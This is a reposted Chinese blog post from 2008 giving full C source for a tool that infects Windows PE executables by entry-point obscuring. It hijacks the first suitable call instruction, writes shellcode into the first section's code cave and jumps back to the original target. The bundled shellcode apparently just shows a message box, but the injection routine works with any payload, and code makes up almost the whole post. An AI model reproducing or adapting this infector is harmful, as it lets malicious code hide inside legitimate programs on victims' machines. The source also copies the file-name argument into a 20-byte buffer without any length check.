EPO+插缝植入用户自定义代码的另一种方法

来源:互联网 发布:网络维护的重要性 编辑:程序博客网 时间:2024/05/03 02:09
EPO+插缝植入用户自定义代码的另一种方法
2008-10-12 16:37

这种方法通用性比较好,通过查找E8,改变call的流程来达到我们的目的.同样它也是通过插缝来写入代码的!

//-----------------------------------------------------------------------------------------------------------------------------//

#include <windows.h>
#include "stdio.h"
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[20];
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9C\x6A\x00\xE8\x07\x00\x00\x00\xD2"
                            "\xB9\xC9\xF1\xD4\xC2\x00\xE8\x0D\x00\x00"
                            "\x00\x65\x70\x6F\x2B\xB2\xE5\xB7\xEC\xB2"
                            "\xE2\xCA\xD4\x00\x6A\x00\xB8\x8A\x05\xD5"
                            "\x77\xFF\xD0\x9D\x61";
BYTE data_jmp[6]={0xe9,0x90,0x90,0x90,0x90,0x90};
void usage();
int main(int argc, char* argv[])
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
int flag=0;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataAddr ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpVA ;

if(argc!=2)
{
     usage();
    return -1;
}
   strcpy(szHostFile,argv[1]);
    //:::
    hFile = CreateFile(szHostFile,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==INVALID_HANDLE_VALUE)
    {
        printf("Open host file failed!\n") ;
        return -1 ;
    }
    int max_search=GetFileSize(hFile,0);

    int shellsize=sizeof(thunkcode);
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!\n") ;
        return -1 ;
    }
    
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;

max_search=DWORD(max_search+(DWORD)pMapping);
    if (!pMapping)
    {
        printf("Map view of file failed!\n") ;
        return -1 ;
    }
    
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            //:::计算第一个节的空隙大小
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!\n") ;
                goto Close ;
                
            }
            //:::定位到代码末尾
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;

            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
          
        
        vir_len = (int)pImageSectionHeader->Misc.VirtualSize+pImageSectionHeader->VirtualAddress-pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
            
        
    pSearch = (unsigned char *)(pImageNtHeaders->OptionalHeader.AddressOfEntryPoint+
                          -pImageSectionHeader->VirtualAddress+pImageSectionHeader->PointerToRawData+
                                (DWORD)pMapping);
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    //:::call指令操作数地址
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    //:::call下条指令地址
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    //:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)&pSearch[i]-((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+pImageSectionHeader->VirtualAddress;
                
                    //:::取jmp操作数,返回的时候使用
                   
      if((int)dwJmpAddr<=(int)pMapping||(int)dwJmpAddr>=max_search)
      continue;
                  
      printf("我们找到的第一个符合条件的E8地址为:0x%08x\n",dwJmpVA);
   
                     //:::修改call操作数
                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                    *dwCallDataAddr = dwCodeDistance ;
                      
                        //把thunk code写入目标宿主程序
                    for (i=0;i<sizeof(thunkcode);i++)
                    {
                            pGapEntry[i] = thunkcode[i];
                     }
    
              dwCodeDistance=(DWORD)dwJmpAddr-((DWORD)pGapEntry+sizeof(thunkcode))-4;
      
                    for (i=3;i>=0;i--)
      {
                     data_jmp[i+1] = (dwCodeDistance>>x)&0xff ;
                     x -= 8 ;
      }
                    for(i=0;i<6;i++)
      {
                    pGapEntry[i+sizeof(thunkcode)-1]=data_jmp[i];
      }
      flag=1;
                    break ;       
                }
                
            }
            
        }
    }
    else
    {
        printf("Invalid file format!\n") ;
    }
if(flag!=0)
   printf("操作成功\n");
else
   printf("操作失败\n");
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
    
    return 0 ;
}

void usage() 

         printf("用法:\n"); 
         printf("Loader.exe FileName\n"); 
         printf("usage: \n"); 
         printf("Loader.exe test.exe\n\n"); 
         printf("\t\tcode by 夜神月\n");
}

//--------------------------------------------------------------------------------------------------------------------------------//

vc6.0通过!

点击下载